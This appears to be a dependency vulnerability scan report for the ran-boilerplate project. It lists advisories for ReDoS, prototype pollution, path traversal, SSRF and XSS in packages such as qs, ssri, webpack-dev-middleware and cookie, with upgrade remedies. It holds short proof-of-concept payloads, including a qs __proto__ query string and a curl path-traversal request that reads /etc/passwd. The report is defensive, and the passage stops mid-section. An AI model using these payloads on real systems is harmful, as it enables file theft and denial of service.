The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade moment to version 2.29.4 or higher.

References

high severity

Prototype Poisoning

  • Vulnerable module: qs
  • Introduced through: express@4.16.4

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 express@4.16.4 qs@6.5.2
    Remediation: Upgrade to express@4.17.3.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 express@4.16.4 body-parser@1.18.3 qs@6.5.2
    Remediation: Upgrade to express@4.17.3.

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.

Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ssri
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 uglifyjs-webpack-plugin@1.3.0 cacache@10.0.4 ssri@5.3.0
    Remediation: Upgrade to next@10.0.6.

Overview

ssri is a Standard Subresource Integrity library -- parses, serializes, generates, and verifies integrity metadata according to the SRI spec.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). ssri processes SRIs using a regular expression which is vulnerable to a denial of service. Malicious SRIs could take an extremely long time to process, leading to denial of service. This issue only affects consumers using the strict option.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ssri to version 6.0.2, 7.1.1, 8.0.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: unset-value
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 nanomatch@1.2.13 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 extglob@2.0.4 expand-brackets@2.1.4 snapdragon@0.8.2 base@0.11.2 cache-base@1.0.1 unset-value@1.0.0

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade unset-value to version 2.0.1 or higher.

References

high severity

Path Traversal

  • Vulnerable module: webpack-dev-middleware
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack-dev-middleware@3.4.0
    Remediation: Upgrade to next@9.3.4.

Overview

Affected versions of this package are vulnerable to Path Traversal due to insufficient validation of the supplied URL address before returning the local file. This issue allows accessing any file on the developer's machine. The middleware can operate with either the physical filesystem or a virtualized in-memory memfs filesystem. When the writeToDisk configuration option is set to true, the physical filesystem is utilized. The getFilenameFromUrl method parses the URL and constructs the local file path by stripping the public path prefix from the URL and appending the unescaped path suffix to the outputPath. Since the URL is not unescaped and normalized automatically before calling the middleware, it is possible to use %2e and %2f sequences to perform a path traversal attack.

Notes:

  1. This vulnerability is exploitable without any specific configurations, allowing an attacker to access and exfiltrate content from any file on the developer's machine.

  2. If the development server is exposed on a public IP address or 0.0.0.0, an attacker on the local network can access the files without victim interaction.

  3. If the server permits access from third-party domains, a malicious link could lead to local file exfiltration when visited by the victim.

PoC

A blank project can be created containing the following configuration file webpack.config.js:

module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };

When started, it is possible to access any local file, e.g. /etc/passwd:

$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

Remediation

Upgrade webpack-dev-middleware to version 5.3.4, 6.1.2, 7.1.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: path-to-regexp
  • Introduced through: express@4.16.4, next@7.0.2 and others

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 express@4.16.4 path-to-regexp@0.1.7
    Remediation: Upgrade to express@4.20.0.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 path-to-regexp@2.1.0
    Remediation: Upgrade to next@8.0.0.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next-routes@1.4.2 path-to-regexp@2.4.0

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, which will produce the regular expression /^\/([^\/]+?)-([^\/]+?)\/?$/, if two parameters within a single segment are separated by a character other than a / or .. Poor performance will block the event loop and can lead to a DoS.

Note: While the 8.0.0 release has completely eliminated the vulnerable functionality, prior versions that have received the patch to mitigate backtracking may still be vulnerable if custom regular expressions are used. So it is strongly recommended for regular expression input to be controlled to avoid malicious performance degradation in those versions. This behavior is enforced as of version 7.1.0 via the strict option, which returns an error if a dangerous regular expression is detected.

Workaround

This vulnerability can be avoided by using a custom regular expression for parameters after the first in a segment, which excludes - and /.

PoC

/a${'-a'.repeat(8_000)}/a

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade path-to-regexp to version 0.1.10, 1.9.0, 3.3.0, 6.3.0, 8.0.0 or higher.

References

medium severity

Configuration Override

  • Vulnerable module: helmet-csp
  • Introduced through: helmet@3.15.0

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 helmet@3.15.0 helmet-csp@2.7.1
    Remediation: Upgrade to helmet@3.21.1.

Overview

helmet-csp is a Content Security Policy that helps prevent unwanted content being injected into your webpages.

Affected versions of this package are vulnerable to Configuration Override affecting the application's Content Security Policy (CSP). It's browser sniffing for Firefox deletes the default-src CSP policy, which is the fallback policy. This allows an attacker to remove an application's default CSP.

Remediation

Upgrade helmet-csp to version 2.9.2 or higher.

References

medium severity

Server-Side Request Forgery (SSRF)

  • Vulnerable module: ip
  • Introduced through: ip@1.1.5

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 ip@1.1.5

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) via the isPublic function, which identifies some private IP addresses as public addresses due to improper parsing of the input. An attacker can manipulate a system that uses isLoopback(), isPrivate() and isPublic functions to guard outgoing network requests to treat certain IP addresses as globally routable by supplying specially crafted IP addresses.

Note

This vulnerability derived from an incomplete fix for CVE-2023-42282

Remediation

There is no fixed version for ip.

References

medium severity

Information Exposure

  • Vulnerable module: node-fetch
  • Introduced through: isomorphic-fetch@2.2.1 and react-apollo@2.3.3

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to isomorphic-fetch@3.0.0.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 react-apollo@2.3.3 fbjs@1.0.0 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to react-apollo@2.5.0.

Overview

node-fetch is a light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a Location response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.

Remediation

Upgrade node-fetch to version 2.6.7, 3.1.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: json5
  • Introduced through: next@7.0.2 and offline-plugin@5.0.6

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 @babel/core@7.0.0 json5@0.5.1
    Remediation: Upgrade to next@9.0.0.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 loader-utils@1.1.0 json5@0.5.1
    Remediation: Upgrade to next@9.0.0.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 offline-plugin@5.0.6 loader-utils@0.2.17 json5@0.5.1
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 styled-jsx@3.1.0 loader-utils@1.1.0 json5@0.5.1
    Remediation: Upgrade to next@8.0.0.

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the parse method , which does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade json5 to version 1.0.2, 2.2.2 or higher.

References

medium severity

  • Vulnerable module: cookie
  • Introduced through: express@4.16.4 and next-cookies@Sly777/next-cookies#master

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 express@4.16.4 cookie@0.3.1
    Remediation: Upgrade to express@4.21.1.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next-cookies@Sly777/next-cookies#master cookie@0.3.1

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.

Workaround

Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

